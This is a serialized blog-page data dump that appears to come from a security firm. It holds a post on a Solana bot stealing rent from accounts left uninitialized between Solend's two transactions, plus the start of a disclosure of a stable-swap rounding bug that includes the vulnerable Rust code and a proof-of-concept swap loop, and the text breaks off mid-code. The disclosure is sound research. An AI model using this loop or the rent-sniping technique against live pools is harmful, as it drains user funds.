[{"data":1,"prerenderedAt":163072},["ShallowReactive",2],{"blog-/blog/2022-08-19-solend-rent-thief":3,"featured-blog-posts":364},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":10,"date":14,"isFeatured":15,"onBlogPage":15,"tags":16,"body":19,"_type":358,"_id":359,"_source":360,"_file":361,"_stem":362,"_extension":363},"/blog/2022-08-19-solend-rent-thief","blog",false,"","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":11,"width":12,"height":13},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",true,[17,18],"solana","report",{"type":20,"children":21,"toc":350},"root",[22,30,37,42,47,52,58,72,121,154,163,168,173,178,184,200,216,221,226,241,245,250,265,272,277,288,295,299,304,310,315,320,325,331,336],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27],{"type":28,"value":29},"text","Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":31,"props":32,"children":34},"h2",{"id":33},"background",[35],{"type":28,"value":36},"Background",{"type":23,"tag":24,"props":38,"children":39},{},[40],{"type":28,"value":41},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":43,"children":44},{},[45],{"type":28,"value":46},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":48,"children":49},{},[50],{"type":28,"value":51},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":31,"props":53,"children":55},{"id":54},"the-exploit",[56],{"type":28,"value":57},"The Exploit",{"type":23,"tag":24,"props":59,"children":60},{},[61,63,70],{"type":28,"value":62},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":64,"props":65,"children":67},"code",{"className":66},[],[68],{"type":28,"value":69},"init_reserve",{"type":28,"value":71}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":73,"props":74,"children":75},"ol",{},[76,82,87,92,103,108],{"type":23,"tag":77,"props":78,"children":79},"li",{},[80],{"type":28,"value":81},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":77,"props":83,"children":84},{},[85],{"type":28,"value":86},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":77,"props":88,"children":89},{},[90],{"type":28,"value":91},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":77,"props":93,"children":94},{},[95,97],{"type":28,"value":96},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":64,"props":98,"children":100},{"className":99},[],[101],{"type":28,"value":102},"cTokens",{"type":23,"tag":77,"props":104,"children":105},{},[106],{"type":28,"value":107},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":77,"props":109,"children":110},{},[111,113,119],{"type":28,"value":112},"creator collateral token account - creator's ",{"type":23,"tag":64,"props":114,"children":116},{"className":115},[],[117],{"type":28,"value":118},"cToken",{"type":28,"value":120}," account",{"type":23,"tag":24,"props":122,"children":123},{},[124,126,132,134,139,141,146,148],{"type":28,"value":125},"Account creation and initialization are ",{"type":23,"tag":127,"props":128,"children":129},"em",{},[130],{"type":28,"value":131},"usually",{"type":28,"value":133}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":64,"props":135,"children":137},{"className":136},[],[138],{"type":28,"value":69},{"type":28,"value":140}," is ",{"type":23,"tag":127,"props":142,"children":143},{},[144],{"type":28,"value":145},"supposed",{"type":28,"value":147}," to look like:\n",{"type":23,"tag":149,"props":150,"children":153},"img",{"src":151,"alt":152},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":155,"children":156},{},[157,159],{"type":28,"value":158},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":149,"props":160,"children":162},{"src":161,"alt":152},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":164,"children":165},{},[166],{"type":28,"value":167},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":169,"children":170},{},[171],{"type":28,"value":172},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":174,"children":175},{},[176],{"type":28,"value":177},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":31,"props":179,"children":181},{"id":180},"example",[182],{"type":28,"value":183},"Example",{"type":23,"tag":24,"props":185,"children":186},{},[187,189,198],{"type":28,"value":188},"Let's take a look at ",{"type":23,"tag":190,"props":191,"children":195},"a",{"href":192,"rel":193},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[194],"nofollow",[196],{"type":28,"value":197},"a real attack",{"type":28,"value":199},".",{"type":23,"tag":24,"props":201,"children":202},{},[203,210,212],{"type":23,"tag":190,"props":204,"children":207},{"href":205,"rel":206},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[194],[208],{"type":28,"value":209},"Transaction 1",{"type":28,"value":211},":\n",{"type":23,"tag":149,"props":213,"children":215},{"alt":7,"src":214},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":217,"children":218},{},[219],{"type":28,"value":220},"(...more accounts truncated)",{"type":23,"tag":24,"props":222,"children":223},{},[224],{"type":28,"value":225},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":227,"children":228},{},[229,236,237],{"type":23,"tag":190,"props":230,"children":233},{"href":231,"rel":232},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[194],[234],{"type":28,"value":235},"Attacker's Transaction",{"type":28,"value":211},{"type":23,"tag":149,"props":238,"children":240},{"alt":7,"src":239},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":242,"children":243},{},[244],{"type":28,"value":220},{"type":23,"tag":24,"props":246,"children":247},{},[248],{"type":28,"value":249},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":251,"children":252},{},[253,260,261],{"type":23,"tag":190,"props":254,"children":257},{"href":255,"rel":256},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[194],[258],{"type":28,"value":259},"Transaction 2",{"type":28,"value":211},{"type":23,"tag":149,"props":262,"children":264},{"alt":7,"src":263},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":266,"children":267},{},[268],{"type":23,"tag":149,"props":269,"children":271},{"alt":7,"src":270},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":273,"children":274},{},[275],{"type":28,"value":276},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":278,"children":279},{},[280,286],{"type":23,"tag":190,"props":281,"children":284},{"href":282,"rel":283},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[194],[285],{"type":28,"value":235},{"type":28,"value":287},":",{"type":23,"tag":24,"props":289,"children":290},{},[291],{"type":23,"tag":149,"props":292,"children":294},{"alt":7,"src":293},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":296,"children":297},{},[298],{"type":28,"value":220},{"type":23,"tag":24,"props":300,"children":301},{},[302],{"type":28,"value":303},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":31,"props":305,"children":307},{"id":306},"impact",[308],{"type":28,"value":309},"Impact",{"type":23,"tag":24,"props":311,"children":312},{},[313],{"type":28,"value":314},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":316,"children":317},{},[318],{"type":28,"value":319},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":321,"children":322},{},[323],{"type":28,"value":324},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":31,"props":326,"children":328},{"id":327},"solution",[329],{"type":28,"value":330},"Solution",{"type":23,"tag":24,"props":332,"children":333},{},[334],{"type":28,"value":335},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":337,"children":338},{},[339,341,348],{"type":28,"value":340},"As a more permenant solution, Solend implemented ",{"type":23,"tag":190,"props":342,"children":345},{"href":343,"rel":344},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[194],[346],{"type":28,"value":347},"an onchain program",{"type":28,"value":349}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":351,"depth":351,"links":352},2,[353,354,355,356,357],{"id":33,"depth":351,"text":36},{"id":54,"depth":351,"text":57},{"id":180,"depth":351,"text":183},{"id":306,"depth":351,"text":309},{"id":327,"depth":351,"text":330},"markdown","content:blog:2022-08-19-solend-rent-thief.md","content","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief","md",[365,2932,3191,6742,11103,16240,26515,27947,28710,32939,37966,43398,44555,48046,58441,65170,67009,68719,73384,87283,90004,94793,97233,99578,105364,121184,129484,139408,144686,154079,156416],{"_path":366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":367,"description":368,"image":369,"date":373,"isFeatured":15,"tags":374,"onBlogPage":15,"body":375,"_type":358,"_id":2929,"_source":360,"_file":2930,"_stem":2931,"_extension":363},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":370,"width":371,"height":372},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[17,18],{"type":20,"children":376,"toc":2923},[377,391,396,401,409,415,420,425,434,443,448,453,461,466,471,880,890,895,1444,1449,1457,1464,1470,1475,1480,1485,1492,1504,1509,1521,1761,1766,1771,1777,1782,1787,1834,1839,1847,1852,1857,1862,2007,2020,2136,2150,2158,2172,2180,2193,2198,2210,2218,2240,2858,2864,2869,2882,2895,2902,2907,2912,2917],{"type":23,"tag":24,"props":378,"children":379},{},[380,382,389],{"type":28,"value":381},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":190,"props":383,"children":386},{"href":384,"rel":385},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[194],[387],{"type":28,"value":388},"spl-token-swap",{"type":28,"value":390},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":392,"children":393},{},[394],{"type":28,"value":395},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":397,"children":398},{},[399],{"type":28,"value":400},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":402,"children":403},{},[404],{"type":23,"tag":127,"props":405,"children":406},{},[407],{"type":28,"value":408},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":31,"props":410,"children":412},{"id":411},"discovery",[413],{"type":28,"value":414},"Discovery",{"type":23,"tag":24,"props":416,"children":417},{},[418],{"type":28,"value":419},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":421,"children":422},{},[423],{"type":28,"value":424},"After a while, he noticed something weird..",{"type":23,"tag":426,"props":427,"children":428},"blockquote",{},[429],{"type":23,"tag":24,"props":430,"children":431},{},[432],{"type":28,"value":433},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":435,"props":436,"children":438},"pre",{"code":437},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[439],{"type":23,"tag":64,"props":440,"children":441},{"__ignoreMap":7},[442],{"type":28,"value":437},{"type":23,"tag":24,"props":444,"children":445},{},[446],{"type":28,"value":447},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":449,"children":450},{},[451],{"type":28,"value":452},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":435,"props":454,"children":456},{"code":455},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[457],{"type":23,"tag":64,"props":458,"children":459},{"__ignoreMap":7},[460],{"type":28,"value":455},{"type":23,"tag":24,"props":462,"children":463},{},[464],{"type":28,"value":465},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":467,"children":468},{},[469],{"type":28,"value":470},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":435,"props":472,"children":476},{"code":473,"language":474,"meta":7,"className":475,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[477],{"type":23,"tag":64,"props":478,"children":479},{"__ignoreMap":7},[480,492,529,565,676,782,810,823,841,862,871],{"type":23,"tag":481,"props":482,"children":485},"span",{"class":483,"line":484},"line",1,[486],{"type":23,"tag":481,"props":487,"children":489},{"style":488},"--shiki-default:#6A9955",[490],{"type":28,"value":491}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":481,"props":493,"children":494},{"class":483,"line":351},[495,501,506,512,518,523],{"type":23,"tag":481,"props":496,"children":498},{"style":497},"--shiki-default:#569CD6",[499],{"type":28,"value":500}," let",{"type":23,"tag":481,"props":502,"children":503},{"style":497},[504],{"type":28,"value":505}," mut",{"type":23,"tag":481,"props":507,"children":509},{"style":508},"--shiki-default:#9CDCFE",[510],{"type":28,"value":511}," y",{"type":23,"tag":481,"props":513,"children":515},{"style":514},"--shiki-default:#D4D4D4",[516],{"type":28,"value":517}," =",{"type":23,"tag":481,"props":519,"children":520},{"style":508},[521],{"type":28,"value":522}," d_val",{"type":23,"tag":481,"props":524,"children":526},{"style":525},"--shiki-default:#E6E6E6",[527],{"type":28,"value":528},";\n",{"type":23,"tag":481,"props":530,"children":532},{"class":483,"line":531},3,[533,539,544,549,555,560],{"type":23,"tag":481,"props":534,"children":536},{"style":535},"--shiki-default:#C586C0",[537],{"type":28,"value":538}," for",{"type":23,"tag":481,"props":540,"children":541},{"style":508},[542],{"type":28,"value":543}," _",{"type":23,"tag":481,"props":545,"children":546},{"style":497},[547],{"type":28,"value":548}," in",{"type":23,"tag":481,"props":550,"children":552},{"style":551},"--shiki-default:#B5CEA8",[553],{"type":28,"value":554}," 0",{"type":23,"tag":481,"props":556,"children":557},{"style":514},[558],{"type":28,"value":559},"..",{"type":23,"tag":481,"props":561,"children":562},{"style":525},[563],{"type":28,"value":564},"ITERATIONS {\n",{"type":23,"tag":481,"props":566,"children":568},{"class":483,"line":567},4,[569,574,579,584,589,594,599,604,608,614,619,624,629,633,638,643,648,653,657,662,666,671],{"type":23,"tag":481,"props":570,"children":571},{"style":497},[572],{"type":28,"value":573}," let",{"type":23,"tag":481,"props":575,"children":576},{"style":525},[577],{"type":28,"value":578}," (",{"type":23,"tag":481,"props":580,"children":581},{"style":508},[582],{"type":28,"value":583},"y_new",{"type":23,"tag":481,"props":585,"children":586},{"style":525},[587],{"type":28,"value":588},", ",{"type":23,"tag":481,"props":590,"children":591},{"style":508},[592],{"type":28,"value":593},"_",{"type":23,"tag":481,"props":595,"children":596},{"style":525},[597],{"type":28,"value":598},") ",{"type":23,"tag":481,"props":600,"children":601},{"style":514},[602],{"type":28,"value":603},"=",{"type":23,"tag":481,"props":605,"children":606},{"style":525},[607],{"type":28,"value":578},{"type":23,"tag":481,"props":609,"children":611},{"style":610},"--shiki-default:#DCDCAA",[612],{"type":28,"value":613},"checked_u8_power",{"type":23,"tag":481,"props":615,"children":616},{"style":525},[617],{"type":28,"value":618},"(",{"type":23,"tag":481,"props":620,"children":621},{"style":514},[622],{"type":28,"value":623},"&",{"type":23,"tag":481,"props":625,"children":626},{"style":508},[627],{"type":28,"value":628},"y",{"type":23,"tag":481,"props":630,"children":631},{"style":525},[632],{"type":28,"value":588},{"type":23,"tag":481,"props":634,"children":635},{"style":551},[636],{"type":28,"value":637},"2",{"type":23,"tag":481,"props":639,"children":640},{"style":525},[641],{"type":28,"value":642},")",{"type":23,"tag":481,"props":644,"children":645},{"style":514},[646],{"type":28,"value":647},"?.",{"type":23,"tag":481,"props":649,"children":650},{"style":610},[651],{"type":28,"value":652},"checked_add",{"type":23,"tag":481,"props":654,"children":655},{"style":525},[656],{"type":28,"value":618},{"type":23,"tag":481,"props":658,"children":659},{"style":508},[660],{"type":28,"value":661},"c",{"type":23,"tag":481,"props":663,"children":664},{"style":525},[665],{"type":28,"value":642},{"type":23,"tag":481,"props":667,"children":668},{"style":514},[669],{"type":28,"value":670},"?",{"type":23,"tag":481,"props":672,"children":673},{"style":525},[674],{"type":28,"value":675},")\n",{"type":23,"tag":481,"props":677,"children":679},{"class":483,"line":678},5,[680,685,690,694,699,703,707,711,715,719,723,727,731,735,740,744,748,753,757,762,766,770,774,778],{"type":23,"tag":481,"props":681,"children":682},{"style":514},[683],{"type":28,"value":684}," .",{"type":23,"tag":481,"props":686,"children":687},{"style":610},[688],{"type":28,"value":689},"checked_ceil_div",{"type":23,"tag":481,"props":691,"children":692},{"style":525},[693],{"type":28,"value":618},{"type":23,"tag":481,"props":695,"children":696},{"style":610},[697],{"type":28,"value":698},"checked_u8_mul",{"type":23,"tag":481,"props":700,"children":701},{"style":525},[702],{"type":28,"value":618},{"type":23,"tag":481,"props":704,"children":705},{"style":514},[706],{"type":28,"value":623},{"type":23,"tag":481,"props":708,"children":709},{"style":508},[710],{"type":28,"value":628},{"type":23,"tag":481,"props":712,"children":713},{"style":525},[714],{"type":28,"value":588},{"type":23,"tag":481,"props":716,"children":717},{"style":551},[718],{"type":28,"value":637},{"type":23,"tag":481,"props":720,"children":721},{"style":525},[722],{"type":28,"value":642},{"type":23,"tag":481,"props":724,"children":725},{"style":514},[726],{"type":28,"value":647},{"type":23,"tag":481,"props":728,"children":729},{"style":610},[730],{"type":28,"value":652},{"type":23,"tag":481,"props":732,"children":733},{"style":525},[734],{"type":28,"value":618},{"type":23,"tag":481,"props":736,"children":737},{"style":508},[738],{"type":28,"value":739},"b",{"type":23,"tag":481,"props":741,"children":742},{"style":525},[743],{"type":28,"value":642},{"type":23,"tag":481,"props":745,"children":746},{"style":514},[747],{"type":28,"value":647},{"type":23,"tag":481,"props":749,"children":750},{"style":610},[751],{"type":28,"value":752},"checked_sub",{"type":23,"tag":481,"props":754,"children":755},{"style":525},[756],{"type":28,"value":618},{"type":23,"tag":481,"props":758,"children":759},{"style":508},[760],{"type":28,"value":761},"d_val",{"type":23,"tag":481,"props":763,"children":764},{"style":525},[765],{"type":28,"value":642},{"type":23,"tag":481,"props":767,"children":768},{"style":514},[769],{"type":28,"value":670},{"type":23,"tag":481,"props":771,"children":772},{"style":525},[773],{"type":28,"value":642},{"type":23,"tag":481,"props":775,"children":776},{"style":514},[777],{"type":28,"value":670},{"type":23,"tag":481,"props":779,"children":780},{"style":525},[781],{"type":28,"value":528},{"type":23,"tag":481,"props":783,"children":785},{"class":483,"line":784},6,[786,791,796,801,805],{"type":23,"tag":481,"props":787,"children":788},{"style":535},[789],{"type":28,"value":790}," if",{"type":23,"tag":481,"props":792,"children":793},{"style":508},[794],{"type":28,"value":795}," y_new",{"type":23,"tag":481,"props":797,"children":798},{"style":514},[799],{"type":28,"value":800}," ==",{"type":23,"tag":481,"props":802,"children":803},{"style":508},[804],{"type":28,"value":511},{"type":23,"tag":481,"props":806,"children":807},{"style":525},[808],{"type":28,"value":809}," {\n",{"type":23,"tag":481,"props":811,"children":813},{"class":483,"line":812},7,[814,819],{"type":23,"tag":481,"props":815,"children":816},{"style":535},[817],{"type":28,"value":818}," break",{"type":23,"tag":481,"props":820,"children":821},{"style":525},[822],{"type":28,"value":528},{"type":23,"tag":481,"props":824,"children":826},{"class":483,"line":825},8,[827,832,837],{"type":23,"tag":481,"props":828,"children":829},{"style":525},[830],{"type":28,"value":831}," } ",{"type":23,"tag":481,"props":833,"children":834},{"style":535},[835],{"type":28,"value":836},"else",{"type":23,"tag":481,"props":838,"children":839},{"style":525},[840],{"type":28,"value":809},{"type":23,"tag":481,"props":842,"children":844},{"class":483,"line":843},9,[845,850,854,858],{"type":23,"tag":481,"props":846,"children":847},{"style":508},[848],{"type":28,"value":849}," y",{"type":23,"tag":481,"props":851,"children":852},{"style":514},[853],{"type":28,"value":517},{"type":23,"tag":481,"props":855,"children":856},{"style":508},[857],{"type":28,"value":795},{"type":23,"tag":481,"props":859,"children":860},{"style":525},[861],{"type":28,"value":528},{"type":23,"tag":481,"props":863,"children":865},{"class":483,"line":864},10,[866],{"type":23,"tag":481,"props":867,"children":868},{"style":525},[869],{"type":28,"value":870}," }\n",{"type":23,"tag":481,"props":872,"children":874},{"class":483,"line":873},11,[875],{"type":23,"tag":481,"props":876,"children":877},{"style":525},[878],{"type":28,"value":879}," }\n",{"type":23,"tag":24,"props":881,"children":882},{},[883,888],{"type":23,"tag":127,"props":884,"children":885},{},[886],{"type":28,"value":887},"approximate",{"type":28,"value":889},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":891,"children":892},{},[893],{"type":28,"value":894},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":435,"props":896,"children":898},{"code":897,"language":474,"meta":7,"className":475,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[899],{"type":23,"tag":64,"props":900,"children":901},{"__ignoreMap":7},[902,910,951,959,989,1017,1034,1050,1075,1091,1107,1123,1140,1157,1170,1179,1202,1211,1220,1289,1297,1327,1335,1367,1375,1435],{"type":23,"tag":481,"props":903,"children":904},{"class":483,"line":484},[905],{"type":23,"tag":481,"props":906,"children":907},{"style":488},[908],{"type":28,"value":909},"// from sbtc to renbtc\n",{"type":23,"tag":481,"props":911,"children":912},{"class":483,"line":351},[913,918,923,927,931,936,941,947],{"type":23,"tag":481,"props":914,"children":915},{"style":535},[916],{"type":28,"value":917},"for",{"type":23,"tag":481,"props":919,"children":920},{"style":508},[921],{"type":28,"value":922}," i",{"type":23,"tag":481,"props":924,"children":925},{"style":497},[926],{"type":28,"value":548},{"type":23,"tag":481,"props":928,"children":929},{"style":551},[930],{"type":28,"value":554},{"type":23,"tag":481,"props":932,"children":933},{"style":514},[934],{"type":28,"value":935}," ..",{"type":23,"tag":481,"props":937,"children":938},{"style":551},[939],{"type":28,"value":940}," 50",{"type":23,"tag":481,"props":942,"children":944},{"style":943},"--shiki-default:#4EC9B0",[945],{"type":28,"value":946},"u8",{"type":23,"tag":481,"props":948,"children":949},{"style":525},[950],{"type":28,"value":809},{"type":23,"tag":481,"props":952,"children":953},{"class":483,"line":531},[954],{"type":23,"tag":481,"props":955,"children":956},{"style":488},[957],{"type":28,"value":958}," // create swap transaction\n",{"type":23,"tag":481,"props":960,"children":961},{"class":483,"line":567},[962,966,970,975,979,984],{"type":23,"tag":481,"props":963,"children":964},{"style":497},[965],{"type":28,"value":500},{"type":23,"tag":481,"props":967,"children":968},{"style":497},[969],{"type":28,"value":505},{"type":23,"tag":481,"props":971,"children":972},{"style":508},[973],{"type":28,"value":974}," swap_instruction",{"type":23,"tag":481,"props":976,"children":977},{"style":514},[978],{"type":28,"value":517},{"type":23,"tag":481,"props":980,"children":981},{"style":610},[982],{"type":28,"value":983}," swap",{"type":23,"tag":481,"props":985,"children":986},{"style":525},[987],{"type":28,"value":988},"(\n",{"type":23,"tag":481,"props":990,"children":991},{"class":483,"line":678},[992,997,1002,1007,1012],{"type":23,"tag":481,"props":993,"children":994},{"style":514},[995],{"type":28,"value":996}," &",{"type":23,"tag":481,"props":998,"children":999},{"style":525},[1000],{"type":28,"value":1001},"spl_token",{"type":23,"tag":481,"props":1003,"children":1004},{"style":514},[1005],{"type":28,"value":1006},"::",{"type":23,"tag":481,"props":1008,"children":1009},{"style":610},[1010],{"type":28,"value":1011},"id",{"type":23,"tag":481,"props":1013,"children":1014},{"style":525},[1015],{"type":28,"value":1016},"(),\n",{"type":23,"tag":481,"props":1018,"children":1019},{"class":483,"line":784},[1020,1024,1029],{"type":23,"tag":481,"props":1021,"children":1022},{"style":514},[1023],{"type":28,"value":996},{"type":23,"tag":481,"props":1025,"children":1026},{"style":508},[1027],{"type":28,"value":1028},"swap_pubkey",{"type":23,"tag":481,"props":1030,"children":1031},{"style":525},[1032],{"type":28,"value":1033},",\n",{"type":23,"tag":481,"props":1035,"children":1036},{"class":483,"line":812},[1037,1041,1046],{"type":23,"tag":481,"props":1038,"children":1039},{"style":514},[1040],{"type":28,"value":996},{"type":23,"tag":481,"props":1042,"children":1043},{"style":508},[1044],{"type":28,"value":1045},"swap_authority_pubkey",{"type":23,"tag":481,"props":1047,"children":1048},{"style":525},[1049],{"type":28,"value":1033},{"type":23,"tag":481,"props":1051,"children":1052},{"class":483,"line":825},[1053,1057,1062,1066,1071],{"type":23,"tag":481,"props":1054,"children":1055},{"style":514},[1056],{"type":28,"value":996},{"type":23,"tag":481,"props":1058,"children":1059},{"style":508},[1060],{"type":28,"value":1061},"test_account_signer",{"type":23,"tag":481,"props":1063,"children":1064},{"style":514},[1065],{"type":28,"value":199},{"type":23,"tag":481,"props":1067,"children":1068},{"style":610},[1069],{"type":28,"value":1070},"pubkey",{"type":23,"tag":481,"props":1072,"children":1073},{"style":525},[1074],{"type":28,"value":1016},{"type":23,"tag":481,"props":1076,"children":1077},{"class":483,"line":843},[1078,1082,1087],{"type":23,"tag":481,"props":1079,"children":1080},{"style":514},[1081],{"type":28,"value":996},{"type":23,"tag":481,"props":1083,"children":1084},{"style":508},[1085],{"type":28,"value":1086},"sbtc_user_account",{"type":23,"tag":481,"props":1088,"children":1089},{"style":525},[1090],{"type":28,"value":1033},{"type":23,"tag":481,"props":1092,"children":1093},{"class":483,"line":864},[1094,1098,1103],{"type":23,"tag":481,"props":1095,"children":1096},{"style":514},[1097],{"type":28,"value":996},{"type":23,"tag":481,"props":1099,"children":1100},{"style":508},[1101],{"type":28,"value":1102},"sbtc_reserve",{"type":23,"tag":481,"props":1104,"children":1105},{"style":525},[1106],{"type":28,"value":1033},{"type":23,"tag":481,"props":1108,"children":1109},{"class":483,"line":873},[1110,1114,1119],{"type":23,"tag":481,"props":1111,"children":1112},{"style":514},[1113],{"type":28,"value":996},{"type":23,"tag":481,"props":1115,"children":1116},{"style":508},[1117],{"type":28,"value":1118},"renbtc_reserv